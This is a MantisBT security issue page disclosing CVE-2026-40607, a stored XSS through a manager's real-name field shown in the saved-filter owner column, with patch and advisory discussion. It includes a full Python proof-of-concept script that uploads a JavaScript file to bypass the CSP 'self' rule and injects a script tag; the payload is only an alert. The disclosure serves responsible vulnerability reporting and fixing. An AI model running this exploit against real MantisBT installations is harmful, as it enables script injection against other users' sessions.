View Issue Details
| ID | Project | Category | View Status | Date Submitted | Last Update |
|---|---|---|---|---|---|
| 0037015 | mantisbt | security | public | 2026-04-12 05:23 | 2026-05-09 19:56 |
| Reporter | siunam | Assigned To | dregad | ||
| Priority | high | Severity | major | Reproducibility | always |
| Status | closed | Resolution | fixed | ||
| Product Version | 2.1.0 | ||||
| Target Version | 2.28.2 | Fixed in Version | 2.28.2 | ||
| Summary | 0037015: CVE-2026-40607: Stored XSS in Saved-Filter Owner Column (Manager+) | ||||
| Description | In
In function
Although the username is properly sanitized in other endpoints, the real name does not have any sanitization. Therefore, the attacker can inject an HTML injection or an XSS payload into their account's real name field value. Note 1: By default, only users with access level "Manager" or above can save their filters publicly ("Save filters as shared"). | ||||
| Steps To Reproduce |
| ||||
| Additional Information | A Proof-of-Concept MP4 video ( | ||||
| Tags | No tags attached. | ||||
| Attached Files | poc.py (6,581 bytes)
import requests
import random
import string
from bs4 import BeautifulSoup
RANDOM_STRING_CHARACTER_SET = string.ascii_letters + string.digits
class Poc:
def __init__(self, baseUrl):
self.baseUrl = baseUrl
self.ISSUE_CATEGORY_GENERAL_ID = 1
self.ISSUE_PUBLIC_VIEW_STATE = 10
self.CREATE_NEW_ISSUE_CSRF_TOKEN_NAME = 'bug_report_token'
self.CREATE_NEW_FILTER_CSRF_TOKEN_NAME = 'query_store_token'
self.SHOW_REAL_NAME_OPTION_NAME = 'show_realname'
self.CREATE_NEW_ISSUE_PAGE_ENDPOINT = f'{self.baseUrl}/bug_report_page.php'
self.CREATE_NEW_ISSUE_ENDPOINT = f'{self.baseUrl}/bug_report.php'
self.LOGIN_ENDPOINT = f'{self.baseUrl}/login.php'
self.CREATE_NEW_FILTER_PAGE_ENDPOINT = f'{self.baseUrl}/query_store_page.php'
self.CREATE_NEW_FILTER_ENDPOINT = f'{self.baseUrl}/query_store.php'
self.MANAGE_FILTERS_PAGE_ENDPOINT = f'{self.baseUrl}/manage_filter_page.php'
self.REST_GET_MY_USER_INFO_ENDPOINT = f'{self.baseUrl}/api/rest/users/me'
self.REST_GET_CONFIG_OPTION_ENDPOINT = f'{self.baseUrl}/api/rest/config'
self.REST_GET_ALL_FILTERS_ENDPOINT = f'{self.baseUrl}/api/rest/filters'
self.REST_UPDATE_USER_ENDPOINT = f'{self.baseUrl}/api/rest/users/{{user_id}}'
@staticmethod
def generateRandomString(length):
return ''.join(random.choice(RANDOM_STRING_CHARACTER_SET) for _ in range(length))
def login(self, account):
data = {
'username': account['username'],
'password': account['password']
}
response = account['session'].post(self.LOGIN_ENDPOINT, data=data)
response.raise_for_status()
def getCurrentUserInfo(self, account):
response = account['session'].get(self.REST_GET_MY_USER_INFO_ENDPOINT)
response.raise_for_status()
return response.json()
def getCSRFToken(self, endpoint, account, csrfTokenName):
response = account['session'].get(endpoint)
response.raise_for_status()
soup = BeautifulSoup(response.text, 'html.parser')
csrf_token = soup.find('input', {'name': csrfTokenName})['value']
return csrf_token
def uploadJavaScriptFile(self, account, filename, payload):
files = { 'ufile[0]': (filename, payload, 'application/javascript') }
data = {
self.CREATE_NEW_ISSUE_CSRF_TOKEN_NAME: self.getCSRFToken(self.CREATE_NEW_ISSUE_PAGE_ENDPOINT, account, self.CREATE_NEW_ISSUE_CSRF_TOKEN_NAME),
'project_id': account['user_info']['projects'][0]['id'],
'category_id': self.ISSUE_CATEGORY_GENERAL_ID,
'summary': 'CSP Bypass PoC',
'description': 'CSP Bypass PoC',
'view_state': self.ISSUE_PUBLIC_VIEW_STATE
}
response = account['session'].post(self.CREATE_NEW_ISSUE_ENDPOINT, files=files, data=data)
response.raise_for_status()
soup = BeautifulSoup(response.text, 'html.parser')
fileEndpoint = soup.find('a', attrs={'href': lambda x: x and 'file_download.php' in x})['href']
return fileEndpoint
def getConfigOption(self, account, optionName):
response = account['session'].get(self.REST_GET_CONFIG_OPTION_ENDPOINT, params={'option': optionName})
response.raise_for_status()
return response.json()['configs'][0]['value']
def isShowRealNameEnabled(self, account):
return self.getConfigOption(account, self.SHOW_REAL_NAME_OPTION_NAME) == 1
def createNewPublicFilter(self, account, filterName):
data = {
self.CREATE_NEW_FILTER_CSRF_TOKEN_NAME: self.getCSRFToken(self.CREATE_NEW_FILTER_PAGE_ENDPOINT, account, self.CREATE_NEW_FILTER_CSRF_TOKEN_NAME),
'query_name': filterName,
'is_public': 'on',
'all_projects': 'on'
}
response = account['session'].post(self.CREATE_NEW_FILTER_ENDPOINT, data=data)
response.raise_for_status()
def updateUserRealName(self, account, userId, realName):
data = {
'user': {
'real_name': realName
}
}
response = account['session'].patch(self.REST_UPDATE_USER_ENDPOINT.format(user_id=userId), json=data)
response.raise_for_status()
def execute(self, accounts):
# 1. Log in as a user with at least Manager access level to be able to upload files and create public filters
self.login(accounts['manager'])
accounts['manager']['user_info'] = self.getCurrentUserInfo(accounts['manager'])
print(f'[+] Logged in as {accounts["manager"]["username"]}')
# 2. Check if the "show_realname" config option is enabled, as it's required for the exploit to work
if not self.isShowRealNameEnabled(accounts['manager']):
print(f'[-] The "{self.SHOW_REAL_NAME_OPTION_NAME}" config option is disabled. Please enable it to proceed with the exploit.')
return
javascriptPayload = '''
#!/usr/bin/env node
alert(origin);
'''.strip()
# 3. Upload the XSS JavaScript file using the manager account for CSP `script-src: 'self'` bypass
XSSFileEndpoint = self.uploadJavaScriptFile(accounts['manager'], 'xss.js', javascriptPayload)
print(f'[+] Uploaded JavaScript file as {accounts["manager"]["username"]} | File Endpoint: {XSSFileEndpoint}')
# 4. Create and save a new public filter
randomFilterName = self.generateRandomString(8)
self.createNewPublicFilter(accounts['manager'], randomFilterName)
print(f'[+] Created new public filter with name: {randomFilterName}')
# 5. Update the attacker's real name to the XSS payload with the uploaded JavaScript file endpoint
xssPayloadWithFileEndpoint = f'<script src="/{XSSFileEndpoint}"></script>'
self.updateUserRealName(accounts['manager'], accounts['manager']['user_info']['id'], xssPayloadWithFileEndpoint)
print(f'[+] Updated real name of {accounts["manager"]["username"]} to the XSS payload with the uploaded JavaScript file endpoint')
print(f'[+] PoC executed successfully! The XSS payload will be triggered when any user views the owner column of the saved filter with the malicious real name by visiting:\n{self.MANAGE_FILTERS_PAGE_ENDPOINT}')
if __name__ == '__main__':
baseUrl = 'http://localhost:8080'
accounts = {
'manager': {
'username': 'manager',
'password': 'password',
'session': requests.Session()
}
}
poc = Poc(baseUrl)
poc.execute(accounts) | ||||
|
Time that I restart working on my long time open WIP PR where this issue and some more would have been fixed. |
|
|
Advisory: https://github.com/mantisbt/mantisbt/security/advisories/GHSA-f633-865q-2mhh Patch for review: https://github.com/mantisbt/mantisbt-ghsa-f633-865q-2mhh/pull/1 |
|
I confirmed the vulnerability can't be reproduced after the patch. LGTM!
Also, I think this PR can also be merged? |
|
|
For the CVSS score, I think it should be 7.3: |
|
|
Thanks for reviewing. I have updated the Advisory. |
|
|
CVE-2026-40607 assigned |
|